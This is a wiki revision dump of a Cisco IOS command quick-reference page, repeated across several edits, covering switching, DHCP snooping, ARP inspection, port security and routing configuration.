* Do '''not''' enable PortFast on ports connected to other switches<br />
* Recommended for access/edge ports<br />
* Incorrect use can cause Layer 2 loops<br />
<br />
== DHCP Snooping ==<br />
<br />
=== Enable DHCP Snooping globally ===<br />
Enable DHCP Snooping for the switch.<br />
<br />
ip dhcp snooping<br />
<br />
=== Enable DHCP Snooping on a VLAN ===<br />
DHCP Snooping only operates on specified VLANs.<br />
<br />
ip dhcp snooping vlan 10<br />
ip dhcp snooping vlan 20<br />
<br />
=== Configure trusted interfaces ===<br />
Mark uplinks or ports connected to legitimate DHCP servers as trusted.<br />
<br />
interface GigabitEthernet0/1<br />
ip dhcp snooping trust<br />
<br />
=== Untrusted interfaces (default) ===<br />
Access ports are untrusted by default. DHCP server responses are blocked.<br />
<br />
interface GigabitEthernet0/2<br />
no ip dhcp snooping trust<br />
<br />
=== Configure DHCP Snooping rate limiting ===<br />
Protect against DHCP starvation attacks. Limits to 15 DHCP packets per second, will mark port as violating otherwise.<br />
<br />
interface GigabitEthernet0/2<br />
ip dhcp snooping limit rate 15<br />
<br />
=== Verify DHCP Snooping status ===<br />
<br />
show ip dhcp snooping<br />
show ip dhcp snooping binding<br />
<br />
=== Disable DHCP Snooping ===<br />
<br />
no ip dhcp snooping<br />
no ip dhcp snooping vlan 10<br />
<br />
=== Notes ===<br />
* Only trusted ports can send DHCP server messages<br />
* Access ports should remain untrusted<br />
* Commonly used with '''Dynamic ARP Inspection''' and '''IP Source Guard'''<br />
* Requires correct VLAN configuration to function properly<br />
<br />
== Dynamic ARP Inspection (DAI) ==<br />
Dynamic ARP Inspection (DAI) is a security feature that validates ARP packets against a trusted database (typically built by DHCP Snooping) to prevent ARP spoofing and man-in-the-middle attacks. It intercepts ARP packets on untrusted ports, checks IP-to-MAC bindings, and drops invalid ones.<br />
<br />
=== Enable DAI globally ===<br />
Dynamic ARP Inspection requires DHCP Snooping to be enabled first (DAI uses the DHCP snooping binding table for validation).<br />
<br />
ip arp inspection<br />
<br />
=== Enable DAI on a VLAN ===<br />
Specify which VLANs should be protected.<br />
<br />
ip arp inspection vlan 10<br />
ip arp inspection vlan 20<br />
ip arp inspection vlan 10,20 (alternative: range)<br />
<br />
=== Configure trusted interfaces ===<br />
Trust uplinks and ports connected to other switches, routers, DHCP servers, or devices that should bypass DAI checks.<br />
<br />
interface GigabitEthernet0/1<br />
ip arp inspection trust<br />
<br />
Trusted ports forward ARP packets without validation.<br />
<br />
=== Untrusted interfaces (default) ===<br />
Access ports are untrusted by default. Invalid ARP packets are dropped.<br />
<br />
interface GigabitEthernet0/2<br />
no ip arp inspection trust (optional; this is the default)<br />
<br />
=== Configure ARP rate limiting ===<br />
Protect against ARP flooding/DoS attacks. Default is 15 pps on untrusted ports (exceeding this can put the port in err-disable).<br />
<br />
interface GigabitEthernet0/2<br />
ip arp inspection limit rate 15 (example: 15 packets per second)<br />
ip arp inspection limit rate 100 burst interval 1 (optional: higher rate with burst)<br />
<br />
=== Additional Validation Checks ===<br />
By default, DAI validates only IP-to-MAC bindings from the DHCP snooping database. Enable extra checks (global config mode) to catch malformed ARP packets (highly recommended for stronger security).<br />
<br />
ip arp inspection validate src-mac<br />
ip arp inspection validate src-mac dst-mac ip (common: enable all three)<br />
<br />
Options:<br />
* '''src-mac''' — Checks source MAC in Ethernet header vs. sender MAC in ARP body (for requests and replies).<br />
* '''dst-mac''' — Checks destination MAC in Ethernet header vs. target MAC in ARP body (mainly for replies).<br />
* '''ip''' — Checks for invalid/unexpected IP addresses (e.g., 0.0.0.0, 255.255.255.255, multicast IPs) in ARP body.<br />
<br />
Each new <code>ip arp inspection validate</code> command '''overrides''' previous ones, so specify all desired options together.<br />
<br />
To disable: <code>no ip arp inspection validate [src-mac] [dst-mac] [ip]</code><br />
<br />
=== Verify DAI status ===<br />
show ip arp inspection<br />
show ip arp inspection vlan 10<br />
show ip arp inspection interfaces<br />
show ip arp inspection statistics (shows drops, rate limit violations)<br />
show ip arp inspection log (logs of dropped packets)<br />
<br />
=== Disable DAI ===<br />
no ip arp inspection<br />
no ip arp inspection vlan 10<br />
<br />
=== Notes ===<br />
* Requires '''DHCP Snooping''' to build the ARP binding table (enable with <code>ip dhcp snooping</code> + <code>ip dhcp snooping vlan ...</code>).<br />
* Only trusted ports can send unlimited ARP replies/packets (no validation or rate limiting).<br />
* Access ports should remain '''untrusted''' to enforce checks.<br />
* Commonly deployed with '''PortFast + BPDU Guard''' on access ports for loop/spanning-tree protection.<br />
* For non-DHCP environments, use static ARP ACLs: <code>ip arp inspection filter arp-acl-name vlan 10</code>.<br />
* Often combined with '''IP Source Guard''' (<code>ip verify source</code>) on access ports to filter IP traffic based on the same bindings.<br />
* Rate limiting helps prevent DoS; monitor with <code>show ip arp inspection statistics</code> and consider <code>errdisable recovery cause arp-inspection</code> for automatic port recovery.<br />
* Additional validation (<code>src-mac</code>, <code>dst-mac</code>, <code>ip</code>) catches MAC spoofing or malformed packets beyond basic binding checks—enable at least <code>src-mac</code> and <code>ip</code> in most production setups.<br />
* DAI is ingress-only (checks incoming packets on untrusted ports).<br />
<br />
== Port Security ==<br />
<br />
=== View status of port security on an interface ===<br />
show port-security interface f0/1<br />
<br />
=== Activate Port Security on an interface ===<br />
The port cannot be a dynamic port:<br />
switchport mode access<br />
Enable Port Security<br />
switchport port-security<br />
<br />
=== Set the maximum number of mac addresses that can be used on that port ===<br />
switchport port-security maximum 1<br />
<br />
=== Whitelist a specific mac address ===<br />
switchport port-security mac-address 0001.6311.E7BC<br />
<br />
=== Enable sticky mode to automatically learn mac addresses ===<br />
switchport port-security mac-address sticky<br />
<br />
=== Port Security Violation Modes ===<br />
==== Protect ====<br />
Silently drops packets from unknown MAC addresses while keeping the port up and generating no alerts.<br />
switchport port-security violation protect<br />
<br />
==== Restrict ====<br />
Drops packets from unknown MAC addresses and logs the violation while incrementing the security counter.<br />
switchport port-security violation restrict<br />
<br />
==== Shutdown ====<br />
Immediately disables the port when an unknown MAC address is detected, placing it into an error-disabled state.<br />
switchport port-security violation shutdown<br />
<br />
=== Port Security Aging ===<br />
==== Enable static aging on an interface ====<br />
switchport port-security aging static<br />
<br />
==== Enable timed aging on an interface (5 minutes) ====<br />
switchport port-security aging time 5<br />
<br />
= Routing =<br />
<br />
Routing is the process of forwarding packets between different networks using routing tables and routing protocols.<br />
<br />
=== Enable IP Routing (Layer 3 Switch) ===<br />
Required on multilayer switches to allow routing between VLANs.<br />
<br />
ip routing<br />
<br />
=== Enable IPv6 Routing (Routers) ===<br />
<br />
ipv6 unicast-routing<br />
<br />
== Static Routing ==<br />
<br />
=== Configure a Static Route ===<br />
Manually define a path to a remote network.<br />
<br />
ip route 192.168.2.0 255.255.255.0 192.168.1.1<br />
<br />
Format:<br />
ip route <destination-network> <subnet-mask> <next-hop-ip><br />
<br />
<br />
=== Configure a Default Route / Default Gateway ===<br />
Route used when no specific route matches the destination.<br />
<br />
ip route 0.0.0.0 0.0.0.0 192.168.1.1<br />
<br />
== Dynamic Routing ==<br />
<br />
Dynamic routing protocols automatically exchange routing information between routers.<br />
<br />
=== Configure RIP v2 ===<br />
Uses hop count as metric (maximum 15 hops).<br />
<br />
router rip<br />
version 2<br />
no auto-summary<br />
network 192.168.1.0<br />
<br />
<br />
=== Configure EIGRP ===<br />
Uses bandwidth and delay as composite metric.<br />
<br />
router eigrp 100<br />
no auto-summary<br />
network 192.168.1.0 0.0.0.255<br />
<br />
<br />
=== Configure OSPF ===<br />
Link-state protocol using cost as metric.<br />
<br />
router ospf 1<br />
network 192.168.1.0 0.0.0.255 area 0<br />
<br />
<br />
== Route Summarization ==<br />
<br />
Route summarization (aggregation) reduces routing table size by advertising one route that represents multiple networks.<br />
<br />
Example networks:<br />
192.168.0.0/24<br />
192.168.1.0/24<br />
192.168.2.0/24<br />
192.168.3.0/24<br />
<br />
Can be summarized as:<br />
192.168.0.0/22<br />
<br />
<br />
=== Configure Manual Summarization (EIGRP) ===<br />
Applied on the outgoing interface.<br />
<br />
interface GigabitEthernet0/0<br />
ip summary-address eigrp 100 192.168.0.0 255.255.252.0<br />
<br />
<br />
=== Configure Manual Summarization (OSPF ABR) ===<br />
Configured under the OSPF process (on an ABR).<br />
<br />
router ospf 1<br />
area 0 range 192.168.0.0 255.255.252.0<br />
<br />
<br />
== Show Routing Information ==<br />
<br />
=== View Routing Table ===<br />
<br />
show ip route<br />
<br />
<br />
=== View Specific Route ===<br />
<br />
show ip route 192.168.1.0<br />
<br />
<br />
=== View Routing Protocol Information ===<br />
<br />
show ip protocols</div>
50.220.241.211
https://wiki.luccapirovano.com/index.php?title=Cisco_Commands&diff=1116
Cisco Commands
2026-02-23T19:47:34Z
<p>50.220.241.211: /* Dynamic ARP Inspection (DAI) */</p>
<hr />
<div>= Cisco IOS Command Reference =<br />
<br />
A quick-reference guide for common Cisco IOS commands on switches and routers.<br />
<br />
----<br />
<br />
== Device & System Information ==<br />
<br />
=== Show MAC Address Table ===<br />
<pre><br />
show mac address-table<br />
</pre><br />
<br />
=== Show OS and Device Version ===<br />
<pre><br />
show version<br />
</pre><br />
<br />
=== Show Logged-in Users ===<br />
<pre><br />
show users<br />
</pre><br />
<br />
=== Show Files ===<br />
<pre><br />
dir<br />
dir nvram:<br />
</pre><br />
<br />
----<br />
<br />
== Configuration Files ==<br />
<br />
=== Show Configurations ===<br />
<pre><br />
show running-config<br />
show startup-config<br />
</pre><br />
<br />
=== Show Interface Config ===<br />
<pre><br />
show run interface g0/0<br />
</pre><br />
<br />
=== Filter Running Config (grep-like) ===<br />
<pre><br />
show run | include {searchterm}<br />
show run | exclude {searchterm}<br />
show run | begin {searchterm}<br />
show run | section {section-name}<br />
</pre><br />
<br />
=== Save Running Config ===<br />
<pre><br />
copy running-config startup-config<br />
copy run start<br />
wr<br />
</pre><br />
<br />
----<br />
<br />
== User Privileges & Security ==<br />
<br />
=== Enter Privileged Mode ("elevate to root") ===<br />
<pre><br />
enable<br />
</pre><br />
<br />
=== Set Encrypted Enable Password ===<br />
<pre><br />
enable secret ThisisaSecret<br />
</pre><br />
<br />
=== Encrypt Plaintext Passwords (Weak Encryption) ===<br />
You can decrypt these with publicly available tools like https://keydecryptor.com/decryption-tools/cisco7<br />
<pre><br />
service password-encryption<br />
</pre><br />
<br />
----<br />
<br />
== Interface & Network Status ==<br />
<br />
=== Interface IP Summary ===<br />
<pre><br />
show ip interface brief<br />
show ipv6 interface brief<br />
</pre><br />
<br />
=== Interface IP Summary (filtered to only interfaces with IPs) ===<br />
<pre><br />
show ip interface brief | exclude unassigned<br />
</pre><br />
== VLAN & Switching ==<br />
<br />
=== Show VLANs ===<br />
<pre><br />
show vlan brief<br />
</pre><br />
<br />
=== Show Interface VLAN Details ===<br />
<pre><br />
show interface g0/1 switchport<br />
</pre><br />
<br />
=== Show Trunk Interfaces ===<br />
<pre><br />
show int trunk<br />
</pre><br />
<br />
=== Clear Tables ===<br />
<pre><br />
clear mac address-table<br />
clear arp-cache<br />
</pre><br />
<br />
----<br />
<br />
== Telnet & Remote Access ==<br />
<br />
=== Connect via Telnet ===<br />
<pre><br />
connect {DeviceName}<br />
</pre><br />
<br />
=== Show Hosts & Sessions ===<br />
<pre><br />
show hosts<br />
show sessions<br />
</pre><br />
<br />
=== Disconnect Session ===<br />
<pre><br />
disconnect {DeviceName}<br />
</pre><br />
<br />
=== Suspend Active Session ===<br />
<pre><br />
Ctrl+Shift+6, then x<br />
</pre><br />
<br />
----<br />
<br />
== SSH Configuration ==<br />
<br />
=== Basic SSH Setup ===<br />
<pre><br />
ip domain-name cisco.com<br />
crypto key generate rsa<br />
ip ssh version 2<br />
</pre><br />
<br />
=== Remove RSA Keys ===<br />
<pre><br />
crypto key zeroize rsa<br />
</pre><br />
<br />
=== Create Local User ===<br />
<pre><br />
username admin secret ccna<br />
</pre><br />
<br />
=== Set Default Gateway ===<br />
<pre><br />
ip default-gateway 192.168.10.1<br />
</pre><br />
<br />
=== Enable SSH on VTY Lines ===<br />
<pre><br />
line vty 0 15<br />
transport input ssh<br />
login local<br />
exit<br />
</pre><br />
<br />
----<br />
<br />
== Global Configuration Mode ==<br />
<br />
=== Enter Global Config ===<br />
<pre><br />
configure terminal<br />
</pre><br />
<br />
=== Disable DNS Lookup on Typos ===<br />
<pre><br />
no ip domain-lookup<br />
</pre><br />
<br />
=== Set MOTD Banner ===<br />
<pre><br />
banner motd MESSAGEHERE<br />
</pre><br />
<br />
=== Set Hostname ===<br />
<pre><br />
hostname HOSTNAME<br />
</pre><br />
<br />
----<br />
<br />
== Line Configuration ==<br />
<br />
=== Console Line ===<br />
<pre><br />
line con 0<br />
password itsasecret<br />
login<br />
</pre><br />
<br />
=== VTY Lines ===<br />
<pre><br />
line vty 0 15<br />
password itsasecret<br />
login<br />
</pre><br />
<br />
----<br />
<br />
== Interface Configuration ==<br />
<br />
=== Interface Selection ===<br />
interface vlan 1<br />
interface fa0/1<br />
interface range fa0/2-3<br />
interface range fa0/2-3,g0/1<br />
<br />
=== Enable Interface ===<br />
no shutdown<br />
<br />
=== Assign IPv4 Address ===<br />
ip address 192.168.0.1 255.255.255.0<br />
<br />
=== Assign IPv4 Default Gateway (Switch) ===<br />
ip default-gateway 192.168.0.254<br />
<br />
=== Assign IPv4 Default Route / Default Gateway (Router) ===<br />
ip route 0.0.0.0 0.0.0.0 192.168.1.1<br />
<br />
----<br />
<br />
== Interface IPv6 Configuration ==<br />
<br />
=== Assign IPv6 Address ===<br />
<pre><br />
ipv6 address 2001:DB8:CAFE:1::1/64<br />
</pre><br />
<br />
=== Assign Link-Local Address ===<br />
<pre><br />
ipv6 address fe80::1 link-local<br />
</pre><br />
<br />
=== Remove IPv6 Addresses ===<br />
<pre><br />
no ipv6 address 2001:DB8:CAFE:1::1/64<br />
no ipv6 address<br />
</pre><br />
<br />
=== IPv6 ND Other-Config Flag ===<br />
Set the "Other Configuration" flag in IPv6 Neighbor Discovery (ND) messages. <br />
- When enabled, it signals to IPv6 hosts that they should obtain additional configuration information (such as DNS server addresses) via DHCPv6, even if they have a stateless autoconfigured address.<br />
<br />
ipv6 nd other-config-flag<br />
</pre><br />
<br />
----<br />
<br />
== VLAN Configuration ==<br />
<br />
=== Create / Configure VLAN ===<br />
<pre><br />
vlan 10<br />
name MyAwesomeVlan<br />
</pre><br />
<br />
----<br />
<br />
== Access / Trunk Switchport Configuration ==<br />
<br />
=== Access Port ===<br />
Configures the interface as an access port and assigns it to VLAN 10.<br />
switchport mode access<br />
switchport access vlan 10<br />
<br />
=== Trunk Port ===<br />
Configures the interface as a trunk port using 802.1Q encapsulation.<br />
switchport trunk encapsulation dot1q<br />
switchport mode trunk<br />
<br />
=== Trunk Allowed VLANs ===<br />
Specifies which VLANs are allowed to traverse the trunk link.<br />
switchport trunk allowed vlan 10,20,33,99<br />
<br />
=== Trunk Native VLANs ===<br />
Sets the native VLAN for untagged traffic on the trunk.<br />
switchport trunk native vlan 99<br />
<br />
=== Trunk Nonegotiate ===<br />
Disables DTP (Dynamic Trunking Protocol) negotiation on the trunk interface.<br />
switchport nonegotiate<br />
<br />
== EtherChannel Configuration ==<br />
<br />
=== Create EtherChannel (LACP Active) ===<br />
Configures interfaces to actively negotiate EtherChannel using LACP.<br />
interface range g0/1 - 2<br />
channel-group 1 mode active<br />
<br />
=== Create EtherChannel (LACP Passive) ===<br />
Configures interfaces to respond to LACP negotiation.<br />
interface range g0/1 - 2<br />
channel-group 1 mode passive<br />
<br />
=== Create EtherChannel (On Mode) ===<br />
Forces EtherChannel without negotiation protocol.<br />
interface range g0/1 - 2<br />
channel-group 1 mode on<br />
<br />
=== Configure Port-Channel as Access Port ===<br />
Applies access configuration to the logical Port-Channel interface.<br />
interface port-channel 1<br />
switchport mode access<br />
switchport access vlan 10<br />
<br />
=== Configure Port-Channel as Trunk ===<br />
Applies trunk configuration to the logical Port-Channel interface.<br />
interface port-channel 1<br />
switchport trunk encapsulation dot1q<br />
switchport mode trunk<br />
<br />
=== Verify EtherChannel ===<br />
Displays EtherChannel status and summary information.<br />
show etherchannel summary<br />
<br />
=== Verify Port-Channel Interface ===<br />
Displays detailed information about the Port-Channel interface.<br />
show interfaces port-channel 1<br />
<br />
<br />
== DHCP ==<br />
<br />
=== Configure a DHCP Server on a Cisco Router ===<br />
Assigns IP addresses automatically to clients on a network.<br />
<br />
<pre><br />
ip dhcp excluded-address 192.168.1.1 192.168.1.10<br />
! Exclude addresses that should not be assigned dynamically<br />
<br />
ip dhcp pool LAN_POOL<br />
network 192.168.1.0 255.255.255.0<br />
default-router 192.168.1.1<br />
dns-server 8.8.8.8 8.8.4.4<br />
lease 7<br />
</pre><br />
<br />
* ''excluded-address'': Prevents certain IPs from being assigned (like static IPs for servers or routers). <br />
* ''network'': Defines the subnet for DHCP clients. <br />
* ''default-router'': Sets the gateway IP for clients. <br />
* ''dns-server'': Specifies DNS servers for clients. <br />
* ''lease'': Duration the IP is valid (in days). <br />
<br />
=== Configure DHCP Relay (IP Helper) ===<br />
Forwards DHCP requests from clients to a remote DHCP server.<br />
<br />
<pre><br />
interface GigabitEthernet0/1<br />
ip address 192.168.1.1 255.255.255.0<br />
ip helper-address 192.168.2.100<br />
</pre><br />
<br />
* ''ip helper-address'': IP of the DHCP server to forward requests to. <br />
* Needed when the server is on a different subnet. <br />
<br />
=== Verify DHCP Status ===<br />
<pre><br />
show ip dhcp binding ! Shows assigned IP addresses<br />
show ip dhcp pool ! Shows pool usage and statistics<br />
show running-config ! Check DHCP configuration<br />
</pre><br />
<br />
=== Best Practices ===<br />
* Exclude static IP addresses from DHCP pools. <br />
* Use ''DHCP relay'' when clients and server are on different subnets. <br />
* Monitor DHCP bindings to prevent IP conflicts.<br />
<br />
== Spanning Tree ==<br />
<br />
=== Enable PortFast on an interface ===<br />
Use PortFast on edge/access ports that connect to end devices.<br />
<br />
interface GigabitEthernet0/1<br />
spanning-tree portfast<br />
<br />
=== Enable PortFast globally ===<br />
Enables PortFast on all access ports.<br />
<br />
spanning-tree portfast default<br />
<br />
=== Enable PortFast on a trunk (use with caution) ===<br />
Only use when the trunk connects to a single end device (not another switch).<br />
<br />
interface GigabitEthernet0/1<br />
spanning-tree portfast trunk<br />
<br />
=== Verify PortFast status ===<br />
<br />
show spanning-tree interface GigabitEthernet0/1 detail<br />
<br />
=== Disable PortFast on an interface ===<br />
<br />
interface GigabitEthernet0/1<br />
no spanning-tree portfast<br />
<br />
=== Best Practice: Enable BPDU Guard with PortFast ===<br />
Shuts down the port if a BPDU is received, protecting against loops.<br />
<br />
Per interface:<br />
interface GigabitEthernet0/1<br />
spanning-tree portfast<br />
spanning-tree bpduguard enable<br />
<br />
Globally:<br />
spanning-tree portfast default<br />
spanning-tree bpduguard default<br />
<br />
=== Notes ===<br />
* Do '''not''' enable PortFast on ports connected to other switches<br />
* Recommended for access/edge ports<br />
* Incorrect use can cause Layer 2 loops<br />
<br />
== DHCP Snooping ==<br />
<br />
=== Enable DHCP Snooping globally ===<br />
Enable DHCP Snooping for the switch.<br />
<br />
ip dhcp snooping<br />
<br />
=== Enable DHCP Snooping on a VLAN ===<br />
DHCP Snooping only operates on specified VLANs.<br />
<br />
ip dhcp snooping vlan 10<br />
ip dhcp snooping vlan 20<br />
<br />
=== Configure trusted interfaces ===<br />
Mark uplinks or ports connected to legitimate DHCP servers as trusted.<br />
<br />
interface GigabitEthernet0/1<br />
ip dhcp snooping trust<br />
<br />
=== Untrusted interfaces (default) ===<br />
Access ports are untrusted by default. DHCP server responses are blocked.<br />
<br />
interface GigabitEthernet0/2<br />
no ip dhcp snooping trust<br />
<br />
=== Configure DHCP Snooping rate limiting ===<br />
Protect against DHCP starvation attacks. Limits to 15 DHCP packets per second, will mark port as violating otherwise.<br />
<br />
interface GigabitEthernet0/2<br />
ip dhcp snooping limit rate 15<br />
<br />
=== Verify DHCP Snooping status ===<br />
<br />
show ip dhcp snooping<br />
show ip dhcp snooping binding<br />
<br />
=== Disable DHCP Snooping ===<br />
<br />
no ip dhcp snooping<br />
no ip dhcp snooping vlan 10<br />
<br />
=== Notes ===<br />
* Only trusted ports can send DHCP server messages<br />
* Access ports should remain untrusted<br />
* Commonly used with '''Dynamic ARP Inspection''' and '''IP Source Guard'''<br />
* Requires correct VLAN configuration to function properly<br />
<br />
== Dynamic ARP Inspection (DAI) ==<br />
Dynamic ARP Inspection (DAI) is a security feature that validates ARP packets against a trusted database (typically built by DHCP Snooping) to prevent ARP spoofing and man-in-the-middle attacks. It intercepts ARP packets on untrusted ports, checks IP-to-MAC bindings, and drops invalid ones.<br />
<br />
=== Enable DAI globally ===<br />
Dynamic ARP Inspection requires DHCP Snooping to be enabled first (DAI uses the DHCP snooping binding table for validation).<br />
<br />
ip arp inspection<br />
<br />
=== Enable DAI on a VLAN ===<br />
Specify which VLANs should be protected.<br />
<br />
ip arp inspection vlan 10<br />
ip arp inspection vlan 20<br />
ip arp inspection vlan 10,20 (alternative: range)<br />
<br />
=== Configure trusted interfaces ===<br />
Trust uplinks and ports connected to other switches, routers, DHCP servers, or devices that should bypass DAI checks.<br />
<br />
interface GigabitEthernet0/1<br />
ip arp inspection trust<br />
<br />
Trusted ports forward ARP packets without validation.<br />
<br />
=== Untrusted interfaces (default) ===<br />
Access ports are untrusted by default. Invalid ARP packets are dropped.<br />
<br />
interface GigabitEthernet0/2<br />
no ip arp inspection trust (optional; this is the default)<br />
<br />
=== Configure ARP rate limiting ===<br />
Protect against ARP flooding/DoS attacks. Default is 15 pps on untrusted ports (exceeding this can put the port in err-disable).<br />
<br />
interface GigabitEthernet0/2<br />
ip arp inspection limit rate 15 (example: 15 packets per second)<br />
ip arp inspection limit rate 100 burst interval 1 (optional: higher rate with burst)<br />
<br />
=== Additional Validation Checks ===<br />
By default, DAI validates only IP-to-MAC bindings from the DHCP snooping database. Enable extra checks (global config mode) to catch malformed ARP packets (highly recommended for stronger security).<br />
<br />
ip arp inspection validate src-mac<br />
ip arp inspection validate src-mac dst-mac ip (common: enable all three)<br />
<br />
Options:<br />
* '''src-mac''' — Checks source MAC in Ethernet header vs. sender MAC in ARP body (for requests and replies).<br />
* '''dst-mac''' — Checks destination MAC in Ethernet header vs. target MAC in ARP body (mainly for replies).<br />
* '''ip''' — Checks for invalid/unexpected IP addresses (e.g., 0.0.0.0, 255.255.255.255, multicast IPs) in ARP body.<br />
<br />
Each new <code>ip arp inspection validate</code> command '''overrides''' previous ones, so specify all desired options together.<br />
<br />
To disable: <code>no ip arp inspection validate [src-mac] [dst-mac] [ip]</code><br />
<br />
=== Verify DAI status ===<br />
show ip arp inspection<br />
show ip arp inspection vlan 10<br />
show ip arp inspection interfaces<br />
show ip arp inspection statistics (shows drops, rate limit violations)<br />
show ip arp inspection log (logs of dropped packets)<br />
<br />
=== Disable DAI ===<br />
no ip arp inspection<br />
no ip arp inspection vlan 10<br />
<br />
=== Notes ===<br />
* Requires '''DHCP Snooping''' to build the ARP binding table (enable with <code>ip dhcp snooping</code> + <code>ip dhcp snooping vlan ...</code>).<br />
* Only trusted ports can send unlimited ARP replies/packets (no validation or rate limiting).<br />
* Access ports should remain '''untrusted''' to enforce checks.<br />
* Commonly deployed with '''PortFast + BPDU Guard''' on access ports for loop/spanning-tree protection.<br />
* For non-DHCP environments, use static ARP ACLs: <code>ip arp inspection filter arp-acl-name vlan 10</code>.<br />
* Often combined with '''IP Source Guard''' (<code>ip verify source</code>) on access ports to filter IP traffic based on the same bindings.<br />
* Rate limiting helps prevent DoS; monitor with <code>show ip arp inspection statistics</code> and consider <code>errdisable recovery cause arp-inspection</code> for automatic port recovery.<br />
* Additional validation (<code>src-mac</code>, <code>dst-mac</code>, <code>ip</code>) catches MAC spoofing or malformed packets beyond basic binding checks—enable at least <code>src-mac</code> and <code>ip</code> in most production setups.<br />
* DAI is ingress-only (checks incoming packets on untrusted ports).<br />
<br />
== Port Security ==<br />
<br />
=== View status of port security on an interface ===<br />
show port-security interface f0/1<br />
<br />
=== Activate Port Security on an interface ===<br />
The port cannot be a dynamic port:<br />
switchport mode access<br />
Enable Port Security<br />
switchport port-security<br />
<br />
=== Set the maximum number of mac addresses that can be used on that port ===<br />
switchport port-security maximum 1<br />
<br />
=== Whitelist a specific mac address ===<br />
switchport port-security mac-address 0001.6311.E7BC<br />
<br />
=== Enable sticky mode to automatically learn mac addresses ===<br />
switchport port-security mac-address sticky<br />
<br />
=== Port Security Violation Modes ===<br />
==== Protect ====<br />
Silently drops packets from unknown MAC addresses while keeping the port up and generating no alerts.<br />
switchport port-security violation protect<br />
<br />
==== Restrict ====<br />
Drops packets from unknown MAC addresses and logs the violation while incrementing the security counter.<br />
switchport port-security violation restrict<br />
<br />
==== Shutdown ====<br />
Immediately disables the port when an unknown MAC address is detected, placing it into an error-disabled state.<br />
switchport port-security violation shutdown<br />
<br />
=== Port Security Aging ===<br />
==== Enable static aging on an interface ====<br />
switchport port-security aging static<br />
<br />
==== Enable timed aging on an interface (5 minutes) ====<br />
switchport port-security aging time 5<br />
<br />
= Routing =<br />
<br />
Routing is the process of forwarding packets between different networks using routing tables and routing protocols.<br />
<br />
=== Enable IP Routing (Layer 3 Switch) ===<br />
Required on multilayer switches to allow routing between VLANs.<br />
<br />
ip routing<br />
<br />
=== Enable IPv6 Routing (Routers) ===<br />
<br />
ipv6 unicast-routing<br />
<br />
== Static Routing ==<br />
<br />
=== Configure a Static Route ===<br />
Manually define a path to a remote network.<br />
<br />
ip route 192.168.2.0 255.255.255.0 192.168.1.1<br />
<br />
Format:<br />
ip route <destination-network> <subnet-mask> <next-hop-ip><br />
<br />
<br />
=== Configure a Default Route / Default Gateway ===<br />
Route used when no specific route matches the destination.<br />
<br />
ip route 0.0.0.0 0.0.0.0 192.168.1.1<br />
<br />
== Dynamic Routing ==<br />
<br />
Dynamic routing protocols automatically exchange routing information between routers.<br />
<br />
=== Configure RIP v2 ===<br />
Uses hop count as metric (maximum 15 hops).<br />
<br />
router rip<br />
version 2<br />
no auto-summary<br />
network 192.168.1.0<br />
<br />
<br />
=== Configure EIGRP ===<br />
Uses bandwidth and delay as composite metric.<br />
<br />
router eigrp 100<br />
no auto-summary<br />
network 192.168.1.0 0.0.0.255<br />
<br />
<br />
=== Configure OSPF ===<br />
Link-state protocol using cost as metric.<br />
<br />
router ospf 1<br />
network 192.168.1.0 0.0.0.255 area 0<br />
<br />
<br />
== Route Summarization ==<br />
<br />
Route summarization (aggregation) reduces routing table size by advertising one route that represents multiple networks.<br />
<br />
Example networks:<br />
192.168.0.0/24<br />
192.168.1.0/24<br />
192.168.2.0/24<br />
192.168.3.0/24<br />
<br />
Can be summarized as:<br />
192.168.0.0/22<br />
<br />
<br />
=== Configure Manual Summarization (EIGRP) ===<br />
Applied on the outgoing interface.<br />
<br />
interface GigabitEthernet0/0<br />
ip summary-address eigrp 100 192.168.0.0 255.255.252.0<br />
<br />
<br />
=== Configure Manual Summarization (OSPF ABR) ===<br />
Configured under the OSPF process (on an ABR).<br />
<br />
router ospf 1<br />
area 0 range 192.168.0.0 255.255.252.0<br />
<br />
<br />
== Administrative Distance ==<br />
<br />
Determines which route is preferred when multiple routes to the same destination exist.<br />
<br />
Common values:<br />
Connected – 0<br />
Static – 1<br />
EIGRP – 90<br />
OSPF – 110<br />
RIP – 120<br />
<br />
<br />
== Show Routing Information ==<br />
<br />
=== View Routing Table ===<br />
<br />
show ip route<br />
<br />
<br />
=== View Specific Route ===<br />
<br />
show ip route 192.168.1.0<br />
<br />
<br />
=== View Routing Protocol Information ===<br />
<br />
show ip protocols</div>
50.220.241.211
https://wiki.luccapirovano.com/index.php?title=Cisco_Commands&diff=1115
Cisco Commands
2026-02-23T19:42:41Z
<p>50.220.241.211: /* Port Security */</p>
<hr />
<div>= Cisco IOS Command Reference =<br />
<br />
A quick-reference guide for common Cisco IOS commands on switches and routers.<br />
<br />
----<br />
<br />
== Device & System Information ==<br />
<br />
=== Show MAC Address Table ===<br />
<pre><br />
show mac address-table<br />
</pre><br />
<br />
=== Show OS and Device Version ===<br />
<pre><br />
show version<br />
</pre><br />
<br />
=== Show Logged-in Users ===<br />
<pre><br />
show users<br />
</pre><br />
<br />
=== Show Files ===<br />
<pre><br />
dir<br />
dir nvram:<br />
</pre><br />
<br />
----<br />
<br />
== Configuration Files ==<br />
<br />
=== Show Configurations ===<br />
<pre><br />
show running-config<br />
show startup-config<br />
</pre><br />
<br />
=== Show Interface Config ===<br />
<pre><br />
show run interface g0/0<br />
</pre><br />
<br />
=== Filter Running Config (grep-like) ===<br />
<pre><br />
show run | include {searchterm}<br />
show run | exclude {searchterm}<br />
show run | begin {searchterm}<br />
show run | section {section-name}<br />
</pre><br />
<br />
=== Save Running Config ===<br />
<pre><br />
copy running-config startup-config<br />
copy run start<br />
wr<br />
</pre><br />
<br />
----<br />
<br />
== User Privileges & Security ==<br />
<br />
=== Enter Privileged Mode ("elevate to root") ===<br />
<pre><br />
enable<br />
</pre><br />
<br />
=== Set Encrypted Enable Password ===<br />
<pre><br />
enable secret ThisisaSecret<br />
</pre><br />
<br />
=== Encrypt Plaintext Passwords (Weak Encryption) ===<br />
You can decrypt these with publicly available tools like https://keydecryptor.com/decryption-tools/cisco7<br />
<pre><br />
service password-encryption<br />
</pre><br />
<br />
----<br />
<br />
== Interface & Network Status ==<br />
<br />
=== Interface IP Summary ===<br />
<pre><br />
show ip interface brief<br />
show ipv6 interface brief<br />
</pre><br />
<br />
=== Interface IP Summary (filtered to only interfaces with IPs) ===<br />
<pre><br />
show ip interface brief | exclude unassigned<br />
</pre><br />
== VLAN & Switching ==<br />
<br />
=== Show VLANs ===<br />
<pre><br />
show vlan brief<br />
</pre><br />
<br />
=== Show Interface VLAN Details ===<br />
<pre><br />
